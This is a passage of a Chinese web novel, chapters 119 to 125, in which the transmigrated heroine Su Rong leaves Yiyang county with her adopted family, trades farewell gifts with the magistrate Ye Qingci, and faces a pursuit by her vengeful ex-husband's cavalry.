谭敖双眼通红,一看就知道狠狠哭过。见到苏蓉,还是勉强挤出一丝笑意。
叶清辞手里拿着份状纸,卷起来放入袖中。苏蓉这才注意到,叶清辞穿着一身官服,这是要升堂问案的架势?
叶清辞对苏蓉微微点了个头,开口:“苏娘子,我要带谭敖去驻军所,面见季大人。你安心在衙内等候。”
他不想苏蓉卷进这场危险中。
如果季中郎将执意包庇金竹海,他最多保谭敖这孩子全身而退。兵权在对方手上,奈对方何?
苏蓉忽略燕彬冷眼。
“大人,您注意安全。”
无论谭敖还是叶清辞,都想走法律程序。但这个世道坚持原则,还有意义吗?
若季隆是叶清辞这种清官,他不会令女人们谈虎色变了。
目送傅振和燕彬护送两人离去。苏蓉一个人留在县署內宅里,擦拭永远擦不完的家具廊柱。
人心惶惶,新招来的杂役没两天不干了。曾嬷嬷只要见她在,就偷懒躲门房休息。苏蓉略想想,借打水之际,来到厨房找姜厨娘。
姜厨娘刚炸了盘金灿灿的年糕。见她来,用筷子夹上几块放在小碟子里,浇上红糖浆,撒上熟糯米粉,悄悄塞她手里。
苏蓉用眼色示意姜厨娘跟自己走到无人处,方才开口。
“姜姐姐,我听到可靠消息,开春后宜阳县有很大几率卷入战火。”
她看着姜厨娘惊讶的脸色,沉声道:“我打算几日后带家人逃离宜阳县……你最好也早做打算!”
或许姜厨娘现在不信她的话,等叶清辞一行离开,宜阳县易主,对方就会明白过来。
她提醒一声,也算还了姜厨娘往日的照顾之情。
姜厨娘怔怔站立。
战争,对她这种手无缚鸡之力,还有两分姿色且无人保护的女人,简直是灭顶之灾!
苏蓉端着小碟年糕回县署內宅,打算找个盒子把年糕收起来。
这种难得的甜食,女人孩子都喜欢。带回家一块吃,才算有福同享。
刚在屋里把年糕收好,外面传来曾嬷嬷着急的呼唤声。
“苏丫头!苏丫头你去哪里了?快出来给远道而来的大人倒茶水!”
苏蓉赶紧起身,将沾上糯米粉的手指用帕子擦干净。
叶清辞不是去驻军所了?
县署內宅,又哪来的大人!
她匆匆出门,庭院里曾嬷嬷殷勤领着一行人,正步入正屋花厅。看见她,曾嬷嬷一脸恨铁不成钢,过来吩咐她。
“岽州那边来人,说是来接任宜阳县令之位的,已验过身份公文。你好好侍候,快去烧水,用最好的茶叶!”
苏蓉被她推向茶房,扭头看了对方一眼。
那人是矮个子男人,嘴角留着一撮山羊胡,看人眼神有种猥琐之感。
不是苏蓉情人眼里出西施。是这新来县令面由心生,真给人一种不好的感觉。
新县令还带了随从,有同样猥琐干瘪的老幕僚,还有挑担挎包的几名护卫。
那些护卫满脸横肉,目露凶光,看上去就不好惹。
见苏蓉露面,有人眼神油腻腻往她脸上和胸脯上瞟,挤眉弄眼,和同伴比画手势,发出猥亵笑声。
新县令视若无睹,趾高气扬带幕僚跨进门槛,压根不理会手下在外丑态。想必对此已是司空见惯?
第120章 留下侍候
苏蓉心凉一半。
这,或许才是大靖朝官吏们最真实的面目吧?
叶清辞那种凛然正气的清官,从古到今,少之又少!
难怪叶清辞极力劝她离开宜阳县。看来接任县令什么样,他早就有所耳闻。
叶清辞改变不了的事实,她努力什么?
明天开始别来了,尽早收拾东西去逃难去。
不过,今天该做的工作还是得做。
苏蓉找出衙门规定待客的茶叶,烧了壶热水泡好茶,随后用托盘将茶壶茶杯一起端上,款款进入花厅。
见那新县令坐在桌案后,随意翻阅叶清辞整理好的卷宗及其它物品,没有一点做客自觉。她厌烦地垂下眼帘。
曾嬷嬷在旁陪笑侍候,用眼色示意她赶紧献茶。
苏蓉走近几步,按规矩低头弯腰,将托盘前伸,举过头顶。
曾嬷嬷亲手斟茶,把茶水倒至七分满,捧到新县令跟前的桌上放下。
一套流程走完,苏蓉暗自松口气。刚要退下,新县令从卷宗里拔出头,将注意力转向她。
“等等!”
苏蓉站住脚。
新县令好奇地打量她:“这县署內宅,叶大人只用了你们两个人侍候?”
曾嬷嬷怕苏蓉回答不好,惹怒新县令,连忙主动搭腔。
“回大老爷话,本来还有一人,前些日因病告假。若是大老爷觉得侍候的人手不足,小的再多招几人来。”
“再招三至四名下人来吧,要年轻点的。县署內宅,侍候的人少了像什么话!”
新县令掩饰不住嫌弃,用手指苏蓉。
“这丫头叫什么?让她留下侍候,你且下去!”
“她叫苏蓉。”
曾嬷嬷清楚苏蓉性格,怕她执拗起来生是非,一边回答一边悄悄给苏蓉使眼色。
“你好好侍候大人,不要出差错知道吗?”
苏蓉低眉顺眼。
她又不是惹事精。今天干完明天就要走的人了,为避免节外生枝,她当然能忍就忍。
不过,叶清辞都没叫她这么侍候过,这新县令是真把自己当回事啊?
她名义好歹是叶清辞的贴身侍女,这货肆无忌惮地使唤她,冲叶清辞去的?
见新县令端起杯子品茶,眯缝着一双三角眼睛,眼角条条鱼尾纹盛满算计。
喉结滚动几下,吞两口茶水后把茶杯轻轻搁回原位,啧啧两声叹出气来。
“一路听闻叶大人是位清官。果然呀,这县署內宅非但少人侍候,连待客茶叶也是次品。你家大人确实不易啊!”
苏蓉怀疑他在暗讽,但没有证据。
新县令絮絮叨叨,摆出一副亲和模样,接下来向她打听县衙及县城的一些情况。
苏蓉挑众所周知的回答。不该说的,一律推说不知。
新县令心想一个下人,不知太多事正常,倒没在意。只是等得无聊,开始问起苏蓉身世来。
“苏蓉,你多大了?”
“民女十八。”
“倒是正富年华。”
新县令赞了一句:“可许配人家了?”
苏蓉内心直翻白眼。
“民女有过三年失败婚姻,被夫家休弃。承蒙叶大人不弃,给了在这里做工的机会,养活自己。”
新县令一听,对苏蓉生出的微妙心思,土崩瓦解。
嫌弃地瞅苏蓉。
先看此女容貌尚佳,体态不错,虽有点肤黑没大毛病,结果竟然已为人妇还是弃妇?
他顿时没了兴致,挥手。
“行了,我这里不用人侍候了,你下去吧!”
苏蓉巴不得这一句,行礼告退。
早知道这货不喜已婚妇人,她就想方设法表明自己身份了。白陪聊这么久!
曾嬷嬷同样担心孤男寡女,苏蓉留在屋里有失。不管怎么说,新县令要讨好;苏蓉相处这么久,同样不能眼睁睁看着其受害。
故而她一直提心吊胆守在门外,准备随时冲进去救场。却见最后苏蓉被赶出来,倒是大大松口气。
苏蓉拿着空托盘,走到曾嬷嬷身边,好奇打探。
“曾嬷嬷,里面那个真是新县令吗,怎么没听到一丝风声县衙要易主?”
曾嬷嬷见四下无人,新县令的随从去安顿住处行李了。放大胆子与苏蓉八卦,小声叹了口气。
“谁说不是?我今天也才知道,惊讶得紧。”
“往日新旧县令交接,要先入境通报,交接印信,安排欢迎仪式。现在世道大乱,新县令所以悄悄赴任?总之吏房验证无误,就等叶大人回来。”
曾嬷嬷说着,心里犯愁。
新县令明显不待见她。看来县署內宅这份活,她干不长久。
一家人指望她在这里的身份和工钱过活呢,若是离了这里,该怎么办?
苏蓉想的则是,叶清辞带着谭敖,去驻军所那么长时间为什么还没回来。该不会出什么事吧?
驻军所原本有千余人,加上季隆带来的三千兵,若是叶清辞与之撕破脸,就算有燕彬和傅振护卫,不一定能全身而退。
令人逐渐焦急。
但她只能同时召唤两名铜甲兵。一个跟随张如英采买去了,一个留在家。就算担心,也不能做什么。
“喂,你们二人为何在此闲磕牙呢?”
新县令那幕僚踱着方步过来,颐指气使。
“我们大人远道而来,早就饿了。你们快去吩咐厨房,多送几样精致小菜过来!随行人员也给我们招呼好,还有马匹别忘了喂饱。”
指挥完了,摇头离开。嘴里咕哝前任县令身边,就用这么两个没眼色的下人?
苏蓉和曾嬷嬷对视一眼,曾嬷嬷叹气。
“你去厨房传话,我找人安排新来大人的随从。”
新县令那群护卫,神色不善,她可不敢让苏蓉去侍候。虽然有心讨好新县令,但她不会违背良知做事。
苏蓉再次来到厨房。姜厨娘拉着她,事无巨细打听新来县令的言行举止。
苏蓉没有隐瞒,一五一十实说。
姜厨娘眉头紧皱,随即轻叹一声。
“看来这衙门,终究不是清静之地。苏妹子,你离开宜阳县,打算去哪里呢?”
“一路向南吧,找个吏治稍微清明远离战火的地方。偏僻无所谓,能安居乐业就成。”
这个地方不好找,但人总要有希望。
姜厨娘怅然若失:“那我先祝福你了。”
第121章 尚未开始便已结束
苏蓉深深看她一眼。
有想过邀对方同行,毕竟对方有才有识,人品也令人放心。但看样子,对方并不打算离开宜阳县,她只能默默为之祈祷。
人各有命,尊重对方选择。
叶清辞一行,直到午后才回来。新县令等不住,吃完饭早早去客房躺着午休了。
苏蓉迎出来,见叶清辞几人均是面色黑透,知道此行不顺利,安抚地摸摸垂头丧气的谭敖头顶。
谭敖给她一摸,差点泪水滚落,赶紧低下头。
叶清辞进门发现异样,回头问苏蓉:“谁动过我桌案上的东西?”
他知道苏蓉和曾嬷嬷绝对不会擅进正屋。
苏蓉把新来县令接任,鸠占鹊巢的事说一遍。傅振惊讶道:“算行程,他们后日方会到,竟然来得这般快?”
看来某些人迫不及待接管宜阳县。大人辞官书一递上去,吏部方面问也不问,火速派人来接任。
这也是新朝廷方面担心节外生枝吧?
“曾嬷嬷呢?”
叶清辞转而问。
“曾嬷嬷在招呼新县令的随从一行,新县令没有带家眷上任。”
苏蓉尽可能把所知所想说出来,以便给叶清辞提示。
不带家眷上任,证明新县令志不在宜阳县,可能有别的打算。
叶清辞在椅子上坐下来,看着翻得一团乱的桌案,狠狠皱眉。
这新县令想在这里找什么东西?明显不安好心!不过,他即将离任,对方要干什么,对他已不再重要。
视线落到谭敖身上,微叹一声:“苏娘子,这孩子不能留在宜阳县了。你离开时,最好将他一并带走!”
他猜想苏蓉不顾危险帮助谭敖,一定是生出感情。
思忖苏蓉一个女户,若能收容谭敖,将来家里有男丁支撑,好过孤苦伶仃受人欺负。反正已收养了一个妹妹,不在乎多个弟弟。
别人他不赞同,但这谭敖自己着意考察过。
学问好,人品不差,有胆有谋还善于坚忍。今日告状,找来金竹海当面对质。季中郎将全程护定金竹海,没见这孩子崩溃嘶闹。
否则,触怒季隆,他少不得与之撕破脸。能不能囫囵回来,是个问题。
可见谭敖这孩子,值得与之结个善缘。好好培养,将来必成大器。
不过他现在想把这个善缘留给苏娘子。
他身边不差人,苏娘子却着实需要有人陪伴。这样一来,也能解决谭敖生存问题。
苏蓉倒是不介意带上谭敖一道去逃荒,但她好奇叶清辞为何这么安排。难不成对她的未来另有主张吗?
她以为他离开宜阳,就是代表两人分道扬镳。现在看,他还关注自己以后?
被人如此关心,哪怕对方实际有点触碰到自己想要独立自主的底线,她没有生气反而隐隐高兴。
这证明她不是自作多情,而是彼此有意?
“燕彬,你先带谭敖去吃饭。”
不管燕彬高兴不高兴,叶清辞直接把燕彬支开。当着外人,燕彬不好违逆他,只得用警告的眼神扫视苏蓉一眼,领着谭敖退出去。
等他走了,叶清辞才招呼傅振。
“傅振,去把我准备好的东西拿来。”
傅振听命,进入内室。不一会儿,拿出一个蓝布包裹。
叶清辞接过来,走到苏蓉跟前,亲手捧着交到她手里,一脸严肃。
“苏娘子,这面有一份官方路引,大靖所有城镇,畅行无阻。当然……现在前线战乱可能派不上用场,但你往后方城镇去,应是无人阻拦!”
他眼睛直直注视苏蓉好一会,仿佛要把她音容样貌深深铭刻在骨子里。看得苏蓉有些不好意思了,方才留恋着收回视线,深吸一口气。
“我建议你们一路向南,前往云州安卫城。这里还有一封推荐信,是给那里的县令叶兴贤的。他是我远房族叔,能给予你们方便和照顾。”
说得这么明显了,苏蓉岂有不明白的道理!
接过包裹,她犹豫不到短短数秒,便决然点头。
“好,我们就去云州安卫城!大人……不管您即将出发去哪里,做什么,我……为您祈福。”
叶清辞慢慢伸出手,看似要触碰上苏蓉的脸颊。
傅振连忙转身面壁,闭上眼睛,心里默念:你们当我不存在,不存在!
但是叶清辞只是下意识动作,将要触到苏蓉肌肤时,迅速收回,快得动作出了残影。
苏蓉低头看向包裹,只感觉到鬓边微风飒然,抬起头,却什么异样也没有。
叶清辞眼中含着怅然若失的神色,又停顿片刻才道:“我安排傅振陪你们同行。一来带路,二来贴身保护。等送你们到安卫城,再回来。”
苏蓉一听,忙大摇其头:“不,大人,您身边也需要护卫,让傅爷随您去吧!”
燕彬那德行,她十分怀疑对方能不能尽到护卫职责。
何况,她还愁没护卫吗?带上傅振,反而束手束脚。
叶清辞皱眉:“世道混乱,旅途艰难。没有傅振陪同你们,我如何放心得下?”
苏蓉坚持己见:“我有钱,多雇佣护卫就行了!”
叶清辞劝说无果,退而求其次:“那我给你们安排一名熟悉道路的车夫,一辆马车吧,送你们去安卫城?”
得不到苏蓉安全的消息,他余生放不下。
苏蓉难以拒绝这种好意,最终接受了。要不是怕引人注目,她其实自己也打算买车。叶清辞未雨绸缪,把她后顾之忧全部解除了。
想到自己隐瞒对方许多秘密,她心里不免觉得酸涩。这一分别,不知日后是否有聚首之期?
好男儿志在四方。叶清辞不主动对她说去往何方,她不会过问。
便让这段尚未开始的情意,因缘分不到而终止吧。彼此祝福,至少留下对方在心里最好的回忆。
四目相对,万语千言,难以出口。
良久,叶清辞收回视线,坐回桌案后,随手拿起一本卷宗。
“傅振,送苏娘子离衙。”
“大人……您多保重!”
苏蓉忍住快决堤的泪水,抱住包袱转身。
叶清辞怔怔看着卷宗,心思早不在卷宗上。隔了许久,他才慢慢抬起头来张望门口。然而苏蓉跟随傅振,早走得人影子不见。
他轻声、嗒然长叹。
“保重……”
第122章 钱在哪,心在哪
回家路上,苏蓉才有机会问谭敖具体的事情经过。
谭敖红着眼睛。
“季中郎将根本不听我的申述,也不理睬叶大人如何据理力争。金竹海被叫来对峙,反咬一口说是叶大人对……”
他忍不住看苏蓉一眼,咽回快到嘴边的话。
隔了会儿,含糊过这句直接跳到下文。
“说是叶大人故意布局,栽赃陷害他。季中郎将要处决我,还训斥叶大人听信谗言,关键时期动摇军心。叶大人与之撕破脸,才保我离开!”
苏蓉陷入沉默。
就知道叶清辞走说理执法的路行不通。
金竹海相当于季中郎将帐下的得力干将,如今正是用人之际,季中郎将怎舍得自断手臂?
看着谭敖心灰意冷,悲愤地用手抹眼泪,苏蓉伸手按住他瘦小的肩头,意味深长。
“小敖,别难过。你信姐姐的话,离开宜阳县那天,姐姐为你报仇!然后,我们一起去安卫城,开始新生活?”
谭敖呆了一下,放下擦眼泪的手:“姐姐……您愿意收留我,带我一起走?”
虽然叶大人说过,让苏蓉带他离开宜阳县。但他以为只是送他安全出城,绝没敢奢望苏蓉会收留他。
养一个人,可不是养一只鸡,养一只羊那么简单!苏蓉自己明显过得也不是很好。
苏蓉笑笑。
“你不介意跟着我们一块吃糠咽菜,可能还有许多活儿等着你干,你以后就是我们家的一员了!”
谭敖顿然喜极而泣。
顾不得这是在大街上,拉着苏蓉,直接跪下来磕头。
“姐姐!”
他要活下去,留待有用之身,为亲人报仇!还有,他不能忘记父亲遗愿,将谭家血脉传承下去。
苏蓉此举对他,恩同再造!
苏蓉连忙把他拉起来。扫视四周,好在现在街道冷清没有人。
“先回家再说。”
摸出帕子,递给哭得泪人似的谭敖。
“男子汉,流血不流泪!”
“你记住现在,以后好好努力,不辜负你爹娘他们希望就好了。他们的仇,你虽然现在报不了,但你能好好活着,就是他们最大的期望!”
这话,谭敖听进去了,攥紧帕子,用力点头。
领着谭敖回家,只见屋里已经堆积两大包东西,但张如英不在家。看来还有东西没买完。
金冬梅带着方小兰迎接出来,心有余悸述说金安福带人来,被豆子兵赶走的事。
“短时间内,他们应该不会来了。”
苏蓉冷静分析道:“他们也在等待叶大人离开,趁我们没有庇护时再动手。冬梅,你们不要怕,待离了城,就是与他们彻底清算之期!”
准确说,是在叶清辞不知道的情况,她可以放手使用金手指。
因为岷郡王氏,她多少对叶清辞心虚,不敢暴露自己其实真的是凶手这件事。
“蓉姐姐,我们后日走?”
金冬梅欲言又止。
苏蓉看着她:“冬梅,你自己想好。咱们离开,可能再不会回来了。”
就是说,金冬梅必须跟家人彻底决裂!
金冬梅垂下眼帘。
片刻,抬起头,目中射出坚定不移的光。
“蓉姐姐,我可以像他们一样,直接叫你姐姐吗?”
苏蓉想了想,把谭敖叫过来,问起生辰。又比照小兰和自己的,直接宣布:“以后对内对外,咱们就是一家人!”
“我排行老大,你们以后叫我大姐。冬梅老二,小兰和小敖叫她二姐。然后小兰最小,叫小敖三哥。我和冬梅叫小敖三弟!”
几人对视一眼,心中都充满了激动和欢喜。
她们又有家了!
虽然是七拼八凑起来的家庭,但她们余生有了信念,有了重新活下去的动力。
接下来,苏蓉品尝到“祸”从口出的报应。
三个小的,不带喘气、兴高采烈、此起彼伏叫了她个多时辰的“大姐”!
张如英领着豆子兵,扛着两个大麻袋进门,还听见屋里飘出“大姐”“二姐”“三弟”“小妹”不停的嘻哈声。
张如英掏出湿帕子胡乱抹把满头的汗,赶紧关门,把声音与外界隔绝,几步跨进屋。
“我的几位小祖宗,你们在闹什么?我人还在巷道里,都能听见!”
苏蓉把紧贴在后背和滚在怀里的冬梅及小兰拉起来,同时瞪了眼跟着作怪的谭敖,笑道:“张婶子,你东西买齐全了?”
张如英坐下来,金冬梅连忙给她送上一杯热水。张如英“咕嘟”几口干完,喘匀气告诉苏蓉。
“别的差不多买齐了,就是那手推车,跑遍半个城,没找到合适的。普通人家的视若珍宝,不愿意出让;家具肆不开门;找工匠,来不及定制!”
愁坏她了。
苏蓉闻言,笑道:“不用买车了,叶大人说,给我们配辆马车和车夫!”
说罢,将叶清辞的意思转告大家。
张如英又惊又喜:“这么说,不止车,连目的地大人也帮我们考虑好了?”
先前她和苏蓉商量,只知道往南,然后走一路看一路。具体定居何方,还不知道。有了叶大人的推荐书,她们去云州安卫城,后顾无忧。
苏蓉这才想起叶清辞送的包裹,打算把路引拿出来看看,顺便安大家的心。
不过一打开,所有人都吃了一惊。
只见里面不仅有一份官方红戳的路引,还有十张一百两的银票,用油皮纸包裹严实。
苏蓉手指轻抚过那银票,心中涌出既感动又悲伤的情绪。
其实,有时辨别男人的心意很简单。
钱在哪,心在哪。
以前不是没谈过男友,但约会时大夏天邀你去散步,专往冷清街道走。走得累半死,冰棍儿不用买半根。
吃饭要AA,谈钱就是太物质。
更别说穿越的原身这个倒霉鬼。结婚三年,被赶出门时,身上无一个铜板。
他们总叫屈对你那么好,你不知足。殊不知,叶清辞这种没有表明自己心意,不给你增添任何心理负担,暗地里却默默帮你把什么都做了。
那才是润物细无声!
真正的爱不是喜欢,而是包容。先你之忧而忧,为你铺平道路,解决实在问题。
怪不得她脱口而出多雇护卫时,他没起半点疑心。
因为他知道自己帮助,她有这个能力,从而下意识忽略因果秩序吗?
他此刻应该是心乱了。不然,不会注意不到这么明显的漏洞。
第123章 珍之惜之
“收拾一下,做饭吧。”
苏蓉把银票和路引收起来,平静情绪后,微笑看向家人。
“今晚我们好好休息,明天准备一天,后天出发!”
第二天,苏蓉带家人把家里清理一遍。大件不值钱的全部不要,每人只收拾好些的细软衣裳。
至于粮食,全部打包。连同张如英买回来的,零零碎碎塞满十来口麻布袋。
苏蓉拍拍脑门。
明明她家一贫如洗,怎么收拾出这么多东西?
她自己动手再整理一遍。发现三个小的,把自个烂衣裳甚至破鞋子全部装上了。
张如英连同之前从店铺搬回来的瓦罐木碗,同样没放过,塞了几包。
张如英看着她一样一样往外掏东西,扔掉。心头滴血,陪着小心:“苏丫头,这些……路上用得着!”
“够用就行了!”
苏蓉没好气看她一眼:“马车载重有限,到时你下去走路,还是扔东西?”
张如英不吭声了。
扔家里,好歹还有回来拿的机会。
旁边冬梅三人手牵手,跟犯错似的老实低头。
最后理顺五口大麻袋。一袋搭帐篷的油布绳索类工具,一袋衣物细软,剩下三袋主要是粮食。
每人还有个小包裹,装零钱、防身武器、吃喝洗漱等日用。苏蓉亲自过目,力求不小心走散后,每人能在被找到前生存一段时间。
至于大部分银票和豆子,苏蓉老习惯,缝在自己宽大的棉衣内衬里。
不过苏蓉对自己金手指有莫大信心。只要不是面对千军万马,这一路不可能有失。她要做的,就是紧盯几人不离开自己视线范围。
黎明时分,傅振准时来敲门,还带来一辆说好的马车。考虑是远途,需装载多人与行李,叶清辞派出的是辆四轮马车。
车身用青布围挡,顶上罩了雨布,撑出边沿可以在下面避雨。
前轮小后轮粗大,便于转弯加速。木质轮外包铁皮,显得高大气派。几个人包括苏蓉都稀奇地东摸摸,西瞅瞅。
傅振引荐车夫。
一名四旬左右壮汉,满脸络腮胡。大冷天穿件单衣,外面罩袖子开花的皮袄。围着油布披风,手捏马鞭,头戴镶油布的斗笠。
神情如同体格一样彪悍。
“苏娘子,在下名叫巴阳,许多人叫我大胡子,你也可以这样称呼我。”
苏蓉当然不好意思初见面就叫人绰号,见他年纪比张婶子稍大,便叫了声“巴叔!”
让几个小的也过来喊人。
巴阳憨憨地笑。
趁张如英几个人围着巴阳问长短,爬上马车去看稀奇,傅振将苏蓉带到一边。
“大人为巴阳妻女报了血海深仇,巴阳对大人无比感激。这个人,沿途你们可以放心用,大胆信任。”
苏蓉心思不在巴阳身上,眼睛一个劲向院外瞟。
“大人不会来了。”
傅振看出她心思。
“他派我送你们出城。宜阳不日大乱,你们尽快离开,别回头!”
说着,拿出一个扁长的木匣子交给苏蓉,意味深长。
“苏娘子,这是大人送你最重要的东西,出城后再打开。好好保存,记得千万不要转赠他人!”
苏蓉接过匣子,有一定分量,不知装的什么。
她好奇心痒痒,又不能马上打开看。叫住准备转身去帮忙搬行李的傅振。
“傅爷,我也有东西要送给大人,请你转交。”
说着,跑进屋,拿出昨夜就收拾好的一个布包,沉甸甸地送到傅振手上。
傅振心想:总算知道投桃报李,不枉大人一心为你着想。
他不认为苏蓉拿得出什么贵重东西送大人,直接把包往肩上一挎,爽快应道:“好,我一定转呈大人!”
丢下这句话,便跑去忙乎了,看得苏蓉眼皮跳了跳。
他们搬东西这么大动静,还有马车停在门口,胡同里有人家忍不住探头探脑看。
但见傅振身着官服,没人敢靠近。
暗中负责盯梢的人见此,觉得不妙,赶紧再一次飞奔驻军所报信。
临行前,苏蓉留恋地看了看自己的房屋,最后拿出新买的铁将军锁上院门。
不管以后能不能回来,至少态度表明了,这是私人领域。闯进来的,得先破坏这把大铁锁。
房契她也保存在身边,以后战乱平息,说不定能再行处置。
马车大,装载行李后空间所剩不多,几个人只能挤着坐。车夫巴阳在车头赶车,傅振骑马随后。
伴随“吁”的一声,巴阳虚晃马鞭,马车徐徐掉头,朝城南驶去。
方小兰依偎在苏蓉怀里。张如英挑开车帘,和金冬梅一起望向外面。对于这座她们生活过、无比熟悉的城镇,满心含有留恋。
前路漫漫,不知等待她们的是什么?
谭敖蜷缩在角落。
看一眼苏蓉,又看一眼张如英三人。
曾经与爹娘、同族亲朋、同窗好友、左邻右舍一起踏上逃荒之路。上百人走到最后,剩他孑然一身。
这一次,跟随认来的姐姐同行,会有好结局吗?
傅振一直送出城外十里地。眼见马车顺利踏上去往南方的官道,方才和苏蓉等人挥手道别。
临走,笑着道:“苏娘子,曲不离口拳不离手,别忘了每天继续练习我教你的功夫。天长日久,总有益处!”
苏蓉从车里探出半身,一时心潮起伏,喊出一声。
“师傅!”
“哈哈哈!”
傅振发出一阵爽朗的大笑声,扬起双眉。
“我可不敢当你师傅!我若成了你师傅,那大人该叫我什么?”
说罢,兜转马头,挥手离去。身后留下一溜烟尘,和苏蓉窘迫羞红的脸。
回过神来,苏蓉缩回身子,想看看叶清辞送来的东西。小心打开木匣子,只见里面铺着红绸,盛放叠起来的一块银色奇怪布料。
看上去坚硬无比,但触碰到肌肤,又觉凉爽柔软,具备超高弹性。展开细看,原来是一件无领无袖的褂子,薄如蝉翼。
这种感觉,她顿时回想起来。当时不小心扑进叶清辞怀中,差点把鼻子撞歪,难道当时他身上就穿着这种东西?
木匣子里还有一张纸,忙拿起来细看,上面写着——
天蚕宝衣,水火不侵、刀枪不入、冬暖夏凉。武林瑰宝,护卿平安,珍之惜之。
看着那熟悉的字体,铁画银钩,仿佛看见叶清辞那双隐含无尽情意的眼睛,她蓦地眼眶湿润。
两辈子,除了父母,没人对她这般好过!
若是早知道,她想,她当时给他的答案,可能不会是拒绝?
而他甚至细心到,怕她把这份沉甸甸的礼给退回去,特意叮咛她直到出城远去,方能打开!
第124章 该做了断
傅振一路疾驰,赶回县衙。
叶清辞和燕彬也在收拾行装,交接完他们可以尽早动身。
看见傅振进门,叶清辞眼睛一亮,却没做声。硬是等到燕彬板着脸转去别的地方,周围无人,方才示意傅振靠近。
“送走苏娘子了?”
傅振点头,这才想起苏蓉交给他的包,从肩头抹下来,带两分调笑。
“送走了,大人,您就放心吧!安排这么妥帖,她们会一路顺风顺水的。对了,这是苏娘子给您的,我猜是给您亲手做的棉衣,有些分量。”
叶清辞压抑住欢喜,又忍不住怀疑。
“苏娘子会女红?怎么以前从没听说过……”
送给他的手衣极其蹩脚。而且会女红的话,当初为什么不去做绣娘?那可比洗菜娘洗衣娘待遇好多了!
怀着不解,他打开包袱。
傅振好奇包袱里的东西,没有回避,凑在身后暗戳戳地看。
两人看着揭开包袱皮的内在,同时惊呆了,嘴巴久久合不上。
一大团软布,包裹的是十来株晒干的人参、灵芝!
看那个头、年轮,任一支属于稀世珍品。换在平时,卖出去能一夜暴富,甚至跨越阶层不是问题。
而在战争时期,一点参须,说不定可以救条人命。
百年老参、灵芝,可遇不可求。即便大靖朝国库,也拿不出几株品相如此完整上好的药材!
想到完整,傅振瞄到包袱里散落的几根参须,一撮灵芝碎渣,顿时心虚得不行!
苏娘子呀,不早告诉他是这么贵重的东西!他扛肩头,不当回事甩了大半天了……
谁知道里面是人参灵芝,不是棉衣啊?
之前还觉得大人送苏娘子东西,过于大手笔,连贴身家传宝物也送出去。现在看,不知道谁的礼物,更加石破天惊。
这些药材,任意一株拿出去,即使在乱世,也能换来大批钱粮!
叶清辞痛心疾首,捧起散落的人参须、灵芝碎。
“这……简直暴殄天物!苏娘子就这么随便麻布一卷,塞给你的?”
傅振干打几个哈哈。
“大人,那啥,我去找几个上好的檀木盒子来装。”
一边说,一边赶紧脚底抹油。
叶清辞看着面前这堆人参灵芝发愣。
他见识不算少,也拥有不少家族资源。但这种东西,什么时候可以成堆随便送人了?尤其以苏娘子的身份……
难道是方婆婆去世,留给她的?
但理论不通啊。有这种宝物,方家至于沦落到家破人亡的境地?不是早就发迹,成一方豪绅了!
或者方婆婆遇害,丰定村遭流民洗劫,不是意外,而是有心人阴谋,专为夺取这些稀世药材而来?
越想越糊涂,叶清辞摸着自己下巴,陷入百思不得其解的郁闷。
现在苏娘子已离开,这个谜团,不知日后有没有机会解开?
苏蓉就是知道此生大概没有希望与叶清辞再见,才敢放心送出那批药材。
对她而言,药材再珍贵,花的只是时间,豆子兵还能给她弄来。而叶清辞得到这种药材,能用在刀尖上救命。
她欣慰的不是自己自作多情,而是……双向奔赴!
抚摸天蚕宝甲,迎着张如英和金冬梅羡慕的眼神。她微笑着决定找个时机,把宝甲穿在身上。
这一世虽然身份悬殊,也没有机会在一起,至少,有它陪伴,一如他在。
隐约间,身后响起阵阵马蹄声,暴风骤雨般越来越近。
苏蓉收好天蚕宝甲,撩起窗帘,探头看向外面。唇角上扬,露出一丝笑意。
“来了。”
她摸摸懵然的谭敖头,笑着开口:“大姐承诺你的,为你报仇雪恨的机会到啦!”
“巴叔,停车!”
巴阳神情凝重,回头望向后方滚滚烟尘。恨不得快马加鞭,插上翅膀,将车赶到安卫城。听到苏蓉呼唤,不由得傻眼。
“苏娘子,你确定?以我经验判断,身后动静,是一大批骑兵!说不定……”
说不定冲着他们而来,停下来是找死!
“停下!”
苏蓉不容置疑。
她清楚即将面对什么。
金竹海派人在她家门口盯梢,趁她不在金安福带人登门想抢走金冬梅。傅振在时,他们不敢露面。但看着傅振走了,能不蠢蠢欲动?
她和金竹海的恩怨,该做个彻底了断了。
巴阳得到叶大人叮嘱,必须对苏娘子言听计从。咬咬牙,缓收缰绳,“吁”,将马车停在路边。
苏蓉施施然下车。
同一时间,道路两边突兀出现两名身材高大的铜甲兵,凛凛生威走到她左右。如同天神下凡,将她纤弱身影护了个结实。
巴阳目瞪口呆。
“那、那是……”
“我大姐请的护卫!”
张如英和小兰躲在车内不敢现身,金冬梅胆子稍大,凑到车头附近撩开车帘,骄傲地对巴阳开口。
“有他们在,一人可抵十人!”
听了这话,巴阳和谭敖皆是惊疑不止。张如英暗道:一人抵十人?小冬梅,那你可太低估这两尊杀神了。
他们可是令整个宜阳县谈虎色变的“岷郡王氏”!
很快,那彪骑兵迫近。
离得近了,看清楚领头的果然是金家兄弟。两人浑身披挂,杀气腾腾。
真是好算计,瞅着傅振离开,才对苏蓉一行下手。离城这么远的距离,加上荒无人烟,出了什么事,完全可以推在流民盗匪身上。
金竹海指挥人马将马车团团包围起来,露出志在必得的胜利笑容。
至于苏蓉身边两名铜甲兵,没放在眼里。他以为只是叶清辞派来保护苏蓉一行的普通士兵。
傅振不在,尤其那个武艺超高的燕彬不在,区区普通士兵,想阻拦他?
金竹海瞅了眼苏蓉。
尽管这女人越长开,越符合他心目中的审美。但经历这么多事,他对其的容忍值已超过临界点。
女人,有钱有势还怕以后没有更好的?
因此,他冷笑着开口:“金冬梅躲在车上是吧?把人交出来,我给你们一个痛快!”
金安福看着一声不吭的两名铜甲兵,总觉得怪怪的。那两张脸如此普通,扔人堆里不见。但为什么面对他们,总有种极度恐惧的感觉?
想着这次大哥从驻军所带出来将近三百骑兵,他挺起胸膛。无论如何,就算是之前的那灰衣护院,也足以将之碾为肉泥了!
第125章 她要快意恩仇
“这话是我想对你说的,金竹海。”
苏蓉淡淡道:“你们金家欠我的一条命,你欠诸多无辜死在你刀下流民的命,今天,做个了结!”
金竹海眸中爆出火星子。
他自大惯了,听不得人在他面前嚣张。何况眼前女人,是在他面前懦弱成性,逆来顺受三年的前妻。
敢在他面前站起来声讨他,简直倒反天罡!
“找死!”
他马鞭一指:“除了车里的金小姐,其余人全部杀了,别留活口!”
巴阳摸出藏在车座下的一把砍刀。
命大概会交代在这里了。但为了叶大人,他无怨无悔。
